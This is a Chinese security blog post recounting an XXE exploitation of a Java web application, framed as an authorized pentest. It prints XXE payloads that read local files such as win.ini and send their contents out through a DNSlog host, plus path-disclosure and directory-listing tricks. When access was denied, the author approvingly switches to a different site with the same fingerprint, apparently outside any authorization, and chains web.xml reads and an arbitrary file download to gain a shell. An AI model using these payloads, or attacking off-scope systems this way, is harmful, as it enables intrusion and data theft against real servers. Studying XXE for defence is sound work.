Java实战篇-XXE漏洞利用从潜到深

Java实战篇-XXE漏洞利用从潜到深

进击安全 2024-03-09 16:02

目标

经典渗透场景
– 登录框(授权合法渗透)

初步挖掘

发现某
JSP路径返回包泄露了代码信息,且疑似存在XXE漏洞

Java实战篇-XXE漏洞利用从潜到深 -2

通过泄露的代码构造出
post请求包

测试,漏洞存在

Poc:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ANY [

<!ENTITY % file SYSTEM "file:///C:\Windows\win.ini">

<!ENTITY % dtd SYSTEM "http://xxe.xxx.dnslog.cn/xxe">

%dtd;

%send;

]>

<root>

<name>&b;</name>

</root>

插曲 – XXE复习

参考文章:****

https://forum.butian.net/share/2573

https://www.heetian.com/info/565

XXE漏洞指的是XML外部实体注入

XML External Entity Injection)漏洞,它是一种常见的安全漏洞类型,可以用来攻击基于XML的应用程序。当应用程序接受XML输入时,攻击者可以插入带有外部实体引用的恶意XML数据,从而导致应用程序执行未经授权的操作,比如访问本地文件系统、执行远程代码等。攻击者可以通过利用XXE漏洞来获取敏感信息、控制服务器,或者执行其他恶意操作

读取文件****

在进行利用之前应该先测试下,目标环境有无回显,是否支持外部实体

检查是否支持外部实体

<?xml version="1.0" encoding="UTF-8"?>

 

%foo;

]>

查看你的服务器是否有请求

不同平台支持的协议****

注意:
jdk1.8开始不再支持gopher协议

Java环境下读取文件****

1、netdoc协议和file协议的作用是一样的,都可以读取文件

2、Java环境下可以使用file协议读取列目录,和ls作用类似

3、在Java环境中,我们可以使用CDATA来读取包含特殊字符的文本数据,避免XML解析器对其进行解析。但是也只能读取一些简单的文本文件,如果文本中含有&或%还是无法进行读取。

如下:

Java实战篇-XXE漏洞利用从潜到深 -6

Java实战篇-XXE漏洞利用从潜到深 -7

深入挖掘

至此,脑中已有大体思路,那就是利用
XXE外带或者回显读文件来进一步扩大攻击面;由于Java下用
file和CDATA也无法读取内容含&、%、中文等文件,所以不能读jsp,class等文件,可以选择读向日葵,web.xml等文件来尝试getshell。****

报错找绝对路径****

Java实战篇-XXE漏洞利用从潜到深 -8

<?xml version="1.0"?>

<!DOCTYPE foo [

    <!ELEMENT foo ANY>

    <!ENTITY xxe SYSTEM "file">

]>

<service>

    <serviceID>&xxe;</serviceID>

    <parameters>

        <parameter index="" type=""></parameter>

    </parameters>

</service>

列目录、读文件****

利用本地
DTD进行文件读取
时发现权限不够,被拒绝访问了

Java实战篇-XXE漏洞利用从潜到深 -9

小问题,这可难不倒我胡图图,寻找同指纹站点,找个权限高的,便可解决问题

Java实战篇-XXE漏洞利用从潜到深 -10

更换站点后,顺利读取目标
web目录

通过读
web.xml+黑盒测试,发现任意下载漏洞

web.xml中存在未授权的文件操作接口

Java实战篇-XXE漏洞利用从潜到深 -12

黑盒,存在任意文件下载漏洞

有了任意下载,接下来的渗透之路譬如探朗取物般简单,通过任意下载,将
class文件下载到本地进行阅读

Java实战篇-XXE漏洞利用从潜到深 -14

成功
getshell

Java实战篇-XXE漏洞利用从潜到深 -15

最终完成曲折的日站之旅

总结

平常看了些许
XXE漏洞利用文章,等到自己实际上手时还是很抓瞎

千学不如一看,千看不如一练

本公众号作者联系方式

Java实战篇-XXE漏洞利用从潜到深 -16